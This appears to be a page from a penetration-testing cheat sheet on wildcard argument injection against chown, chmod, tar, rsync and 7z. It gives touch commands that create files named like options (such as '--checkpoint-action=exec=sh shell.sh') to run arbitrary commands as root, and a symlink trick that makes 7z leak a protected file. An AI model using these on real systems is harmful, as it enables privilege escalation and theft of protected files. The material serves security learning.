Wildcards Spare tricks

chown, chmod

You can indicate which file owner and permissions you want to copy for the rest of the files

touch "--reference=/my/own/path/filename"

You can exploit this using https://github.com/localh0t/wildpwn/blob/master/wildpwn.py (combined attack) More info in https://www.exploit-db.com/papers/33930

Tar

Execute arbitrary commands:

touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"

You can exploit this using https://github.com/localh0t/wildpwn/blob/master/wildpwn.py (tar attack) More info in https://www.exploit-db.com/papers/33930

Rsync

Execute arbitrary commands:

Interesting rsync option from manual:

 -e, --rsh=COMMAND           specify the remote shell to use
     --rsync-path=PROGRAM    specify the rsync to run on remote machine

touch "-e sh shell.sh"

You can exploit this using https://github.com/localh0t/wildpwn/blob/master/wildpwn.py (_rsync _attack) More info in https://www.exploit-db.com/papers/33930

7z

In 7z even using -- before * (note that -- means that the following input cannot treated as parameters, so just file paths in this case) you can cause an arbitrary error to read a file, so if a command like the following one is being executed by root:

7za a /backup/$filename.zip -t7z -snl -p$pass -- *

And you can create files in the folder were this is being executed, you could create the file @root.txt and the file root.txt being a symlink to the file you want to read:

cd /path/to/7z/acting/folder
touch @root.txt
ln -s /file/you/want/to/read root.txt

Then, when 7z is execute, it will treat root.txt as a file containing the list of files it should compress (thats what the existence of @root.txt indicates) and when it 7z read root.txt it will read /file/you/want/to/read and as the content of this file isn't a list of files, it will throw and error showing the content.

More info in Write-ups of the box CTF from HackTheBox.

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